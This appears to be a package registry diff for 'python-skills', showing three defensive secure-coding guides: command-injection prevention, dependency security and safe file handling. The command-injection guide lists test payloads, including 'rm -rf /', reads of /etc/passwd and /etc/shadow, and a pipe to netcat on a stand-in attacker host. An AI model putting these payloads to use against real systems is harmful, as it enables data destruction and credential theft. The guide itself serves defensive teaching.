python-skills 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- python_skills/__init__.py +10 -0
- python_skills/__main__.py +6 -0
- python_skills/adapters/__init__.py +48 -0
- python_skills/adapters/agent_skills.py +415 -0
- python_skills/adapters/aider_adapter.py +226 -0
- python_skills/adapters/base.py +153 -0
- python_skills/adapters/claude.py +474 -0
- python_skills/adapters/cline.py +332 -0
- python_skills/adapters/codex.py +24 -0
- python_skills/adapters/continue_adapter.py +198 -0
- python_skills/adapters/cursor.py +327 -0
- python_skills/adapters/gemini.py +26 -0
- python_skills/adapters/goose.py +26 -0
- python_skills/adapters/junie.py +25 -0
- python_skills/adapters/kiro.py +382 -0
- python_skills/adapters/opencode.py +27 -0
- python_skills/adapters/roo.py +25 -0
- python_skills/adapters/universal.py +203 -0
- python_skills/adapters/vscode.py +27 -0
- python_skills/adapters/windsurf.py +26 -0
- python_skills/adapters/zed.py +27 -0
- python_skills/cli.py +326 -0
- python_skills/config.py +160 -0
- python_skills/detector.py +152 -0
- python_skills/installer.py +163 -0
- python_skills/markers.py +115 -0
- python_skills/skills/__init__.py +14 -0
- python_skills/skills/loader.py +171 -0
- python_skills/skills/metadata.py +152 -0
- python_skills/skills/registry.py +101 -0
- python_skills/state.py +204 -0
- python_skills-1.0.0.dist-info/METADATA +99 -0
- python_skills-1.0.0.dist-info/RECORD +105 -0
- python_skills-1.0.0.dist-info/WHEEL +4 -0
- python_skills-1.0.0.dist-info/entry_points.txt +2 -0
- python_skills-1.0.0.dist-info/licenses/LICENSE +21 -0
- skills/advanced_python.md +239 -0
- skills/anti_patterns/index.md +406 -0
- skills/comprehensions.md +167 -0
- skills/control_flow.md +175 -0
- skills/data_structures.md +243 -0
- skills/debugging/common_bugs.md +222 -0
- skills/debugging/inspection_techniques.md +249 -0
- skills/debugging/root_cause.md +203 -0
- skills/engineering/application_logging.md +195 -0
- skills/engineering/cli_apps.md +207 -0
- skills/engineering/configuration.md +218 -0
- skills/engineering/database.md +240 -0
- skills/engineering/dependency_management.md +205 -0
- skills/engineering/http_clients.md +267 -0
- skills/engineering/modules_packages.md +211 -0
- skills/engineering/packaging.md +197 -0
- skills/engineering/project_structure.md +155 -0
- skills/engineering/pyproject_toml.md +302 -0
- skills/engineering/virtual_environments.md +206 -0
- skills/functions.md +244 -0
- skills/generation/async_concurrency.md +291 -0
- skills/generation/error_handling.md +276 -0
- skills/generation/protocols_generics.md +243 -0
- skills/generation/type_hints.md +290 -0
- skills/generation/validation_pipeline.md +274 -0
- skills/generation/workflow.md +190 -0
- skills/oop.md +228 -0
- skills/quality/abstractions.md +154 -0
- skills/quality/comments.md +177 -0
- skills/quality/documentation.md +176 -0
- skills/quality/duplication.md +137 -0
- skills/quality/maintainability.md +142 -0
- skills/quality/naming.md +171 -0
- skills/quality/quality_functions.md +245 -0
- skills/quality/readability.md +239 -0
- skills/quality/type_annotations.md +192 -0
- skills/refactoring/behavior_preservation.md +157 -0
- skills/refactoring/incremental.md +187 -0
- skills/refactoring/interface_stability.md +199 -0
- skills/refactoring/safe_refactoring.md +206 -0
- skills/security/auth_boundaries.md +200 -0
- skills/security/command_injection.md +207 -0
- skills/security/dependency_risks.md +282 -0
- skills/security/file_handling.md +156 -0
- skills/security/input_validation.md +190 -0
- skills/security/path_traversal.md +172 -0
- skills/security/secrets.md +171 -0
- skills/security/sql_injection.md +188 -0
- skills/security/unsafe_deserialization.md +164 -0
- skills/stdlib/argparse.md +178 -0
- skills/stdlib/collections.md +212 -0
- skills/stdlib/datetime.md +187 -0
- skills/stdlib/functools.md +238 -0
- skills/stdlib/itertools.md +183 -0
- skills/stdlib/json.md +162 -0
- skills/stdlib/logging.md +185 -0
- skills/stdlib/os_sys.md +184 -0
- skills/stdlib/pathlib.md +218 -0
- skills/stdlib/re.md +171 -0
- skills/stdlib/statistics.md +112 -0
- skills/stdlib/subprocess.md +211 -0
- skills/testing/async_tests.md +249 -0
- skills/testing/coverage.md +168 -0
- skills/testing/edge_cases.md +197 -0
- skills/testing/fixtures_mocks.md +203 -0
- skills/testing/organization.md +205 -0
- skills/testing/parameterized.md +174 -0
- skills/testing/regression_tests.md +165 -0
- skills/variables_types.md +107 -0
|
@@ -0,0 +1,207 @@
|
|
|
1
|
+
# Security: Command Injection Prevention
|
|
2
|
+
|
|
3
|
+
**Purpose**: Prevent command injection when executing subprocesses.
|
|
4
|
+
|
|
5
|
+
**When to use**: Any `subprocess` usage.
|
|
6
|
+
---
|
|
7
|
+
---
|
|
8
|
+
name: security_command_injection
|
|
9
|
+
purpose: Prevent command injection when executing subprocesses
|
|
10
|
+
category: security
|
|
11
|
+
triggers:
|
|
12
|
+
- subprocess
|
|
13
|
+
- command injection
|
|
14
|
+
- shell
|
|
15
|
+
- os.system
|
|
16
|
+
- popen
|
|
17
|
+
- exec
|
|
18
|
+
dependencies:
|
|
19
|
+
- stdlib/subprocess.md
|
|
20
|
+
- security/path_traversal.md
|
|
21
|
+
- security/input_validation.md
|
|
22
|
+
priority: primary
|
|
23
|
+
estimated_tokens: 1600
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## Core Rules
|
|
27
|
+
|
|
28
|
+
### Never Use shell=True with User Input
|
|
29
|
+
```python
|
|
30
|
+
# NEVER
|
|
31
|
+
subprocess.run(f"echo {user_input}", shell=True)
|
|
32
|
+
subprocess.run("ls " + user_dir, shell=True)
|
|
33
|
+
subprocess.run(f"process {filename}", shell=True)
|
|
34
|
+
|
|
35
|
+
# ALWAYS use list form
|
|
36
|
+
subprocess.run(["echo", user_input])
|
|
37
|
+
subprocess.run(["ls", user_dir])
|
|
38
|
+
subprocess.run(["process", filename])
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
### Validate/Allowlist Commands
|
|
42
|
+
```python
|
|
43
|
+
ALLOWED_COMMANDS = {
|
|
44
|
+
"git": ["git"],
|
|
45
|
+
"docker": ["docker"],
|
|
46
|
+
"kubectl": ["kubectl"],
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
def safe_run(command: str, args: list[str], **kwargs) -> subprocess.CompletedProcess:
|
|
50
|
+
if command not in ALLOWED_COMMANDS:
|
|
51
|
+
raise ValueError(f"Command not allowed: {command}")
|
|
52
|
+
|
|
53
|
+
full_cmd = [command] + args
|
|
54
|
+
return subprocess.run(full_cmd, **kwargs)
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### Path Validation
|
|
58
|
+
```python
|
|
59
|
+
def safe_path(user_input: str, base: Path) -> Path:
|
|
60
|
+
"""Resolve path and ensure it's within base directory."""
|
|
61
|
+
path = (base / user_input).resolve()
|
|
62
|
+
if not path.is_relative_to(base.resolve()):
|
|
63
|
+
raise ValueError("Path traversal attempt")
|
|
64
|
+
return path
|
|
65
|
+
|
|
66
|
+
# Usage
|
|
67
|
+
safe_file = safe_path(user_filename, UPLOAD_DIR)
|
|
68
|
+
subprocess.run(["process", str(safe_file)])
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### Environment Sanitization
|
|
72
|
+
```python
|
|
73
|
+
# Clean environment for subprocess
|
|
74
|
+
CLEAN_ENV = {
|
|
75
|
+
"PATH": "/usr/bin:/bin",
|
|
76
|
+
"LANG": "C.UTF-8",
|
|
77
|
+
"HOME": "/tmp",
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
subprocess.run(cmd, env=CLEAN_ENV, ...)
|
|
81
|
+
|
|
82
|
+
# Or inherit but remove sensitive
|
|
83
|
+
env = os.environ.copy()
|
|
84
|
+
for key in ["SECRET_KEY", "DB_PASSWORD", "API_TOKEN"]:
|
|
85
|
+
env.pop(key, None)
|
|
86
|
+
subprocess.run(cmd, env=env, ...)
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
### shlex for Complex Arguments
|
|
90
|
+
```python
|
|
91
|
+
# When you MUST parse a string command (legacy integration)
|
|
92
|
+
import shlex
|
|
93
|
+
|
|
94
|
+
def run_legacy_command(cmd_string: str) -> subprocess.CompletedProcess:
|
|
95
|
+
# shlex splits safely, preserving quoted arguments
|
|
96
|
+
cmd_list = shlex.split(cmd_string)
|
|
97
|
+
# Still validate the command itself
|
|
98
|
+
if cmd_list[0] not in ALLOWED_COMMANDS:
|
|
99
|
+
raise ValueError(f"Command not allowed: {cmd_list[0]}")
|
|
100
|
+
return subprocess.run(cmd_list, capture_output=True, text=True)
|
|
101
|
+
|
|
102
|
+
# Input: 'git commit -m "fix: update"' -> ['git', 'commit', '-m', 'fix: update']
|
|
103
|
+
# NOT: ['git', 'commit', '-m', 'fix:', 'update'] (naive split fails)
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
## Decision Rules
|
|
109
|
+
|
|
110
|
+
| Need | Pattern |
|
|
111
|
+
|------|---------|
|
|
112
|
+
| Run command | List form, no shell |
|
|
113
|
+
| User input as arg | Validate + list form |
|
|
114
|
+
| User input as path | Resolve + `is_relative_to` |
|
|
115
|
+
| Multiple commands | Chain `Popen` (no shell pipe) |
|
|
116
|
+
| Shell features (glob, vars) | Reimplement in Python |
|
|
117
|
+
| Parse string command | `shlex.split()` + validate |
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## Preferred Patterns
|
|
122
|
+
|
|
123
|
+
```python
|
|
124
|
+
def run_command(
|
|
125
|
+
cmd: list[str],
|
|
126
|
+
*,
|
|
127
|
+
cwd: Path | None = None,
|
|
128
|
+
timeout: float = 30.0,
|
|
129
|
+
env: dict[str, str] | None = None,
|
|
130
|
+
input_data: str | None = None,
|
|
131
|
+
allowlist: set[str] | None = None,
|
|
132
|
+
) -> subprocess.CompletedProcess:
|
|
133
|
+
"""Safe subprocess wrapper."""
|
|
134
|
+
|
|
135
|
+
# Validate command
|
|
136
|
+
if not cmd or not isinstance(cmd, list):
|
|
137
|
+
raise ValueError("Command must be non-empty list")
|
|
138
|
+
|
|
139
|
+
if allowlist and cmd[0] not in allowlist:
|
|
140
|
+
raise ValueError(f"Command not allowed: {cmd[0]}")
|
|
141
|
+
|
|
142
|
+
# Validate paths in args
|
|
143
|
+
for arg in cmd[1:]:
|
|
144
|
+
if isinstance(arg, Path):
|
|
145
|
+
# Could add path validation here
|
|
146
|
+
pass
|
|
147
|
+
|
|
148
|
+
return subprocess.run(
|
|
149
|
+
cmd,
|
|
150
|
+
capture_output=True,
|
|
151
|
+
text=True,
|
|
152
|
+
encoding="utf-8",
|
|
153
|
+
errors="replace",
|
|
154
|
+
timeout=timeout,
|
|
155
|
+
check=False,
|
|
156
|
+
cwd=cwd,
|
|
157
|
+
env=env,
|
|
158
|
+
input=input_data,
|
|
159
|
+
)
|
|
160
|
+
|
|
161
|
+
# Usage
|
|
162
|
+
result = run_command(
|
|
163
|
+
["docker", "build", "-t", image_name, "."],
|
|
164
|
+
allowlist={"docker"},
|
|
165
|
+
timeout=300,
|
|
166
|
+
)
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## Common Injection Vectors (Test These)
|
|
172
|
+
|
|
173
|
+
| Vector | Example | Mitigation |
|
|
174
|
+
|--------|---------|------------|
|
|
175
|
+
| Command separator | `; rm -rf /` | List form, no shell |
|
|
176
|
+
| Subshell | `$(cat /etc/passwd)` | No shell |
|
|
177
|
+
| Backticks | `` `id` `` | No shell |
|
|
178
|
+
| Pipe | `| nc attacker.com 4444` | No shell |
|
|
179
|
+
| AND/OR | `&& cat /etc/shadow` | No shell |
|
|
180
|
+
| Newline | `\nmalicious_cmd` | No shell, validate input |
|
|
181
|
+
| Environment variable | `${IFS}cat${IFS}/etc/passwd` | Clean env, no shell |
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## Avoid
|
|
186
|
+
|
|
187
|
+
- `shell=True` (except static trusted commands)
|
|
188
|
+
- `os.system()`, `os.popen()`
|
|
189
|
+
- String commands
|
|
190
|
+
- User input in command without validation
|
|
191
|
+
- Inheriting full environment
|
|
192
|
+
|
|
193
|
+
---
|
|
194
|
+
|
|
195
|
+
## Validation Considerations
|
|
196
|
+
|
|
197
|
+
- Test with injection payloads (`; rm -rf /`, `$(cat /etc/passwd)`, etc.)
|
|
198
|
+
- `bandit` B602, B603, B605, B607 checks
|
|
199
|
+
- Verify allowlist enforcement
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Related Skills
|
|
204
|
+
|
|
205
|
+
- `stdlib/subprocess.md`
|
|
206
|
+
- `security/path_traversal.md`
|
|
207
|
+
- `security/input_validation.md`
|
|
@@ -0,0 +1,282 @@
|
|
|
1
|
+
# Security: Dependency Risks
|
|
2
|
+
|
|
3
|
+
**Purpose**: Manage security risks from third-party dependencies.
|
|
4
|
+
|
|
5
|
+
**When to use**: Adding dependencies, updating, CI/CD pipeline.
|
|
6
|
+
---
|
|
7
|
+
---
|
|
8
|
+
name: security_dependency_risks
|
|
9
|
+
purpose: Manage security risks from third-party dependencies
|
|
10
|
+
category: security
|
|
11
|
+
triggers:
|
|
12
|
+
- dependency
|
|
13
|
+
- vulnerability
|
|
14
|
+
- supply chain
|
|
15
|
+
- pip-audit
|
|
16
|
+
- safety
|
|
17
|
+
- lock file
|
|
18
|
+
- transitive
|
|
19
|
+
dependencies:
|
|
20
|
+
- engineering/dependency_management.md
|
|
21
|
+
- engineering/pyproject_toml.md
|
|
22
|
+
- engineering/virtual_environments.md
|
|
23
|
+
- engineering/packaging.md
|
|
24
|
+
priority: primary
|
|
25
|
+
estimated_tokens: 1700
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## Core Rules
|
|
29
|
+
|
|
30
|
+
### Dependency Evaluation Checklist
|
|
31
|
+
Before adding a dependency:
|
|
32
|
+
- [ ] **Necessary?** Stdlib or existing dep can't solve it
|
|
33
|
+
- [ ] **Maintained?** Recent releases, open issues responded to
|
|
34
|
+
- [ ] **Popular?** Sufficient usage (downloads, dependents)
|
|
35
|
+
- [ ] **License?** Compatible with project
|
|
36
|
+
- [ ] **Security history?** No unpatched vulnerabilities
|
|
37
|
+
- [ ] **Transitive deps?** Minimal, well-known
|
|
38
|
+
- [ ] **Size?** Reasonable install footprint
|
|
39
|
+
|
|
40
|
+
### Scanning Tools
|
|
41
|
+
```bash
|
|
42
|
+
# Safety (PyPI vulnerability database)
|
|
43
|
+
pip install safety
|
|
44
|
+
safety check
|
|
45
|
+
safety check --json
|
|
46
|
+
|
|
47
|
+
# pip-audit (uses OSV database)
|
|
48
|
+
pip install pip-audit
|
|
49
|
+
pip-audit
|
|
50
|
+
pip-audit --desc
|
|
51
|
+
|
|
52
|
+
# GitHub Dependabot / GitLab Dependency Scanning
|
|
53
|
+
# Configure in CI/CD
|
|
54
|
+
|
|
55
|
+
# OWASP Dependency Check
|
|
56
|
+
# For comprehensive scanning
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Lock File Security
|
|
60
|
+
```bash
|
|
61
|
+
# Generate with hashes (pip-tools)
|
|
62
|
+
pip-compile --generate-hashes pyproject.toml -o requirements.txt
|
|
63
|
+
|
|
64
|
+
# Verify on install
|
|
65
|
+
pip install --require-hashes -r requirements.txt
|
|
66
|
+
|
|
67
|
+
# uv (includes hashes by default)
|
|
68
|
+
uv pip compile pyproject.toml -o requirements.txt
|
|
69
|
+
uv sync # Verifies hashes
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### Update Policy
|
|
73
|
+
```bash
|
|
74
|
+
# Check outdated
|
|
75
|
+
uv pip list --outdated
|
|
76
|
+
pip list --outdated
|
|
77
|
+
|
|
78
|
+
# Security updates: IMMEDIATE
|
|
79
|
+
# Patch/feature updates: Scheduled (weekly/monthly)
|
|
80
|
+
|
|
81
|
+
# Test before deploying updates
|
|
82
|
+
uv pip install --upgrade package
|
|
83
|
+
pytest # Full suite
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Private Package Index
|
|
87
|
+
```bash
|
|
88
|
+
# Use private index for internal packages
|
|
89
|
+
pip install --index-url https://private.pypi.org/simple my-package
|
|
90
|
+
|
|
91
|
+
# Or in pyproject.toml
|
|
92
|
+
[tool.uv]
|
|
93
|
+
index-url = "https://private.pypi.org/simple"
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### Supply Chain Security
|
|
97
|
+
```toml
|
|
98
|
+
# pyproject.toml - require hashes for production deps
|
|
99
|
+
[project]
|
|
100
|
+
dependencies = [
|
|
101
|
+
"requests==2.31.0 --hash=sha256:...",
|
|
102
|
+
]
|
|
103
|
+
|
|
104
|
+
# Or use pip-tools with --generate-hashes
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## Decision Rules
|
|
110
|
+
|
|
111
|
+
| Risk Level | Action |
|
|
112
|
+
|------------|--------|
|
|
113
|
+
| Critical vulnerability | Update immediately, emergency deploy |
|
|
114
|
+
| High vulnerability | Update within 24-48 hours |
|
|
115
|
+
| Medium vulnerability | Update within week |
|
|
116
|
+
| Low vulnerability | Next scheduled update |
|
|
117
|
+
| Unmaintained dependency | Plan replacement |
|
|
118
|
+
| License conflict | Replace immediately |
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Preferred Patterns
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# CI Pipeline
|
|
126
|
+
# 1. Scan on every PR
|
|
127
|
+
safety check --json
|
|
128
|
+
pip-audit --desc
|
|
129
|
+
|
|
130
|
+
# 2. Scheduled scan (daily/weekly)
|
|
131
|
+
# GitHub Actions cron / GitLab scheduled pipeline
|
|
132
|
+
|
|
133
|
+
# 3. Automated PR for updates
|
|
134
|
+
# dependabot.yml / renovate.json
|
|
135
|
+
|
|
136
|
+
# 4. Block merge on critical vulns
|
|
137
|
+
# Required status check
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
### dependabot.yml Example
|
|
141
|
+
```yaml
|
|
142
|
+
# .github/dependabot.yml
|
|
143
|
+
version: 2
|
|
144
|
+
updates:
|
|
145
|
+
- package-ecosystem: "pip"
|
|
146
|
+
directory: "/"
|
|
147
|
+
schedule:
|
|
148
|
+
interval: "weekly"
|
|
149
|
+
day: "monday"
|
|
150
|
+
labels:
|
|
151
|
+
- "dependencies"
|
|
152
|
+
- "security"
|
|
153
|
+
allow:
|
|
154
|
+
- dependency-type: "direct"
|
|
155
|
+
ignore:
|
|
156
|
+
- dependency-name: "some-package"
|
|
157
|
+
versions: [">=2.0.0"]
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### renovate.json Example
|
|
161
|
+
```json
|
|
162
|
+
{
|
|
163
|
+
"extends": ["config:base"],
|
|
164
|
+
"packageRules": [
|
|
165
|
+
{
|
|
166
|
+
"matchUpdateType": "security",
|
|
167
|
+
"automerge": true,
|
|
168
|
+
"schedule": ["after 6pm", "before 9am"]
|
|
169
|
+
}
|
|
170
|
+
],
|
|
171
|
+
"pip": {
|
|
172
|
+
"file": "requirements.txt"
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### Python Code: Automated Check
|
|
178
|
+
```python
|
|
179
|
+
import subprocess
|
|
180
|
+
import json
|
|
181
|
+
from pathlib import Path
|
|
182
|
+
|
|
183
|
+
def scan_dependencies(requirements_path: Path) -> dict:
|
|
184
|
+
"""Run safety and pip-audit, return combined results."""
|
|
185
|
+
results = {"critical": [], "high": [], "medium": [], "low": []}
|
|
186
|
+
|
|
187
|
+
# Safety
|
|
188
|
+
try:
|
|
189
|
+
proc = subprocess.run(
|
|
190
|
+
["safety", "check", "--json", "-r", str(requirements_path)],
|
|
191
|
+
capture_output=True, text=True, timeout=60
|
|
192
|
+
)
|
|
193
|
+
if proc.returncode != 0:
|
|
194
|
+
for vuln in json.loads(proc.stdout):
|
|
195
|
+
severity = vuln.get("severity", "unknown").lower()
|
|
196
|
+
if severity in results:
|
|
197
|
+
results[severity].append(vuln)
|
|
198
|
+
except Exception:
|
|
199
|
+
pass
|
|
200
|
+
|
|
201
|
+
# pip-audit
|
|
202
|
+
try:
|
|
203
|
+
proc = subprocess.run(
|
|
204
|
+
["pip-audit", "--desc", "--format", "json", "-r", str(requirements_path)],
|
|
205
|
+
capture_output=True, text=True, timeout=60
|
|
206
|
+
)
|
|
207
|
+
if proc.returncode != 0:
|
|
208
|
+
data = json.loads(proc.stdout)
|
|
209
|
+
for vuln in data.get("vulnerabilities", []):
|
|
210
|
+
severity = vuln.get("severity", "unknown").lower()
|
|
211
|
+
if severity in results:
|
|
212
|
+
results[severity].append(vuln)
|
|
213
|
+
except Exception:
|
|
214
|
+
pass
|
|
215
|
+
|
|
216
|
+
return results
|
|
217
|
+
|
|
218
|
+
def has_critical_vulns(results: dict) -> bool:
|
|
219
|
+
return len(results.get("critical", [])) > 0 or len(results.get("high", [])) > 0
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
---
|
|
223
|
+
|
|
224
|
+
## Decision Rules
|
|
225
|
+
|
|
226
|
+
| Risk Level | Action |
|
|
227
|
+
|------------|--------|
|
|
228
|
+
| Critical vulnerability | Update immediately, emergency deploy |
|
|
229
|
+
| High vulnerability | Update within 24-48 hours |
|
|
230
|
+
| Medium vulnerability | Update within week |
|
|
231
|
+
| Low vulnerability | Next scheduled update |
|
|
232
|
+
| Unmaintained dependency | Plan replacement |
|
|
233
|
+
| License conflict | Replace immediately |
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## Preferred Patterns
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
# CI Pipeline
|
|
241
|
+
# 1. Scan on every PR
|
|
242
|
+
safety check --json
|
|
243
|
+
pip-audit --desc
|
|
244
|
+
|
|
245
|
+
# 2. Scheduled scan (daily/weekly)
|
|
246
|
+
# GitHub Actions cron / GitLab scheduled pipeline
|
|
247
|
+
|
|
248
|
+
# 3. Automated PR for updates
|
|
249
|
+
# dependabot.yml / renovate.json
|
|
250
|
+
|
|
251
|
+
# 4. Block merge on critical vulns
|
|
252
|
+
# Required status check
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Avoid
|
|
258
|
+
|
|
259
|
+
- No vulnerability scanning
|
|
260
|
+
- Pinned exact versions without updates (`==1.0.0` forever)
|
|
261
|
+
- No lock file for applications
|
|
262
|
+
- Ignoring transitive dependencies
|
|
263
|
+
- Using packages with known vulnerabilities
|
|
264
|
+
- Installing from untrusted indexes
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Validation Considerations
|
|
269
|
+
|
|
270
|
+
- CI fails on critical/high vulnerabilities
|
|
271
|
+
- Lock file hashes verified on install
|
|
272
|
+
- SBOM (Software Bill of Materials) generated
|
|
273
|
+
- License compliance checked
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
## Related Skills
|
|
278
|
+
|
|
279
|
+
- `engineering/dependency_management.md`
|
|
280
|
+
- `engineering/pyproject_toml.md`
|
|
281
|
+
- `engineering/virtual_environments.md`
|
|
282
|
+
- `engineering/packaging.md`
|
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
# Security: File Handling
|
|
2
|
+
|
|
3
|
+
**Purpose**: Safe file operations to prevent information disclosure and corruption.
|
|
4
|
+
|
|
5
|
+
**When to use**: Reading, writing, uploading, serving files.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Core Rules
|
|
10
|
+
|
|
11
|
+
### Atomic Writes
|
|
12
|
+
```python
|
|
13
|
+
import tempfile
|
|
14
|
+
from pathlib import Path
|
|
15
|
+
|
|
16
|
+
def atomic_write(path: Path, content: str | bytes, encoding: str = "utf-8") -> None:
|
|
17
|
+
"""Write atomically to prevent partial reads."""
|
|
18
|
+
path.parent.mkdir(parents=True, exist_ok=True)
|
|
19
|
+
|
|
20
|
+
# Write to temp file in same directory (same filesystem)
|
|
21
|
+
with tempfile.NamedTemporaryFile(
|
|
22
|
+
mode="w" if isinstance(content, str) else "wb",
|
|
23
|
+
dir=path.parent,
|
|
24
|
+
delete=False,
|
|
25
|
+
encoding=encoding if isinstance(content, str) else None,
|
|
26
|
+
) as tmp:
|
|
27
|
+
tmp.write(content)
|
|
28
|
+
tmp_path = Path(tmp.name)
|
|
29
|
+
|
|
30
|
+
# Atomic replace
|
|
31
|
+
tmp_path.replace(path)
|
|
32
|
+
|
|
33
|
+
# Usage
|
|
34
|
+
atomic_write(Path("config.json"), json.dumps(config))
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
### Safe File Reading
|
|
38
|
+
```python
|
|
39
|
+
def read_file_safe(path: Path, max_size: int = 10_000_000) -> bytes:
|
|
40
|
+
"""Read file with size limit."""
|
|
41
|
+
stat = path.stat()
|
|
42
|
+
if stat.st_size > max_size:
|
|
43
|
+
raise ValueError(f"File too large: {stat.st_size} > {max_size}")
|
|
44
|
+
|
|
45
|
+
return path.read_bytes()
|
|
46
|
+
|
|
47
|
+
def read_text_safe(path: Path, encoding: str = "utf-8", max_size: int = 1_000_000) -> str:
|
|
48
|
+
return read_file_safe(path, max_size).decode(encoding)
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
### Temporary Files
|
|
52
|
+
```python
|
|
53
|
+
import tempfile
|
|
54
|
+
|
|
55
|
+
# GOOD — secure temp file
|
|
56
|
+
with tempfile.NamedTemporaryFile(mode="w", delete=False) as tmp:
|
|
57
|
+
tmp.write(data)
|
|
58
|
+
tmp_path = Path(tmp.name)
|
|
59
|
+
try:
|
|
60
|
+
process(tmp_path)
|
|
61
|
+
finally:
|
|
62
|
+
tmp_path.unlink(missing_ok=True)
|
|
63
|
+
|
|
64
|
+
# BETTER — TemporaryDirectory (auto cleanup)
|
|
65
|
+
with tempfile.TemporaryDirectory() as tmpdir:
|
|
66
|
+
tmp_path = Path(tmpdir) / "file.txt"
|
|
67
|
+
tmp_path.write_text(data)
|
|
68
|
+
process(tmp_path)
|
|
69
|
+
# Auto cleanup on exit
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### Permissions
|
|
73
|
+
```python
|
|
74
|
+
# Don't make world-writable
|
|
75
|
+
path.write_text(content)
|
|
76
|
+
path.chmod(0o600) # Owner read/write only
|
|
77
|
+
|
|
78
|
+
# For secrets
|
|
79
|
+
path.write_text(secret)
|
|
80
|
+
path.chmod(0o400) # Owner read only
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### Path Validation (Recap)
|
|
84
|
+
```python
|
|
85
|
+
# Always validate before operations
|
|
86
|
+
def serve_file(user_path: str, root: Path) -> FileResponse:
|
|
87
|
+
safe = safe_path(user_path, root) # From path_traversal.md
|
|
88
|
+
if not safe.is_file():
|
|
89
|
+
raise FileNotFoundError()
|
|
90
|
+
return FileResponse(safe)
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Decision Rules
|
|
96
|
+
|
|
97
|
+
| Operation | Pattern |
|
|
98
|
+
|-----------|---------|
|
|
99
|
+
| Write config/data | Atomic write (temp + replace) |
|
|
100
|
+
| Read untrusted file | Size limit + validation |
|
|
101
|
+
| Temp processing | `TemporaryDirectory` |
|
|
102
|
+
| Upload handling | Validate name, size, type, stream write |
|
|
103
|
+
| Log rotation | `RotatingFileHandler` |
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Preferred Patterns
|
|
108
|
+
|
|
109
|
+
```python
|
|
110
|
+
class SafeFileManager:
|
|
111
|
+
def __init__(self, base_dir: Path, max_file_size: int = 10_000_000):
|
|
112
|
+
self.base_dir = base_dir.resolve()
|
|
113
|
+
self.max_size = max_file_size
|
|
114
|
+
|
|
115
|
+
def write(self, rel_path: str, content: str | bytes) -> Path:
|
|
116
|
+
path = self._validate(rel_path)
|
|
117
|
+
atomic_write(path, content)
|
|
118
|
+
return path
|
|
119
|
+
|
|
120
|
+
def read(self, rel_path: str) -> bytes:
|
|
121
|
+
path = self._validate(rel_path)
|
|
122
|
+
return read_file_safe(path, self.max_size)
|
|
123
|
+
|
|
124
|
+
def _validate(self, rel_path: str) -> Path:
|
|
125
|
+
requested = (self.base_dir / rel_path).resolve()
|
|
126
|
+
if not requested.is_relative_to(self.base_dir):
|
|
127
|
+
raise SecurityError("Path traversal")
|
|
128
|
+
return requested
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## Avoid
|
|
134
|
+
|
|
135
|
+
- Direct writes to final path (partial reads possible)
|
|
136
|
+
- No size limits on reads
|
|
137
|
+
- World-writable files
|
|
138
|
+
- Predictable temp file names
|
|
139
|
+
- Leaving temp files behind
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Validation Considerations
|
|
144
|
+
|
|
145
|
+
- Test concurrent writes (atomicity)
|
|
146
|
+
- Test size limit enforcement
|
|
147
|
+
- Test path traversal attempts
|
|
148
|
+
- Test cleanup on exception
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## Related Skills
|
|
153
|
+
|
|
154
|
+
- `security/path_traversal.md`
|
|
155
|
+
- `security/secrets.md`
|
|
156
|
+
- `stdlib/pathlib.md`
|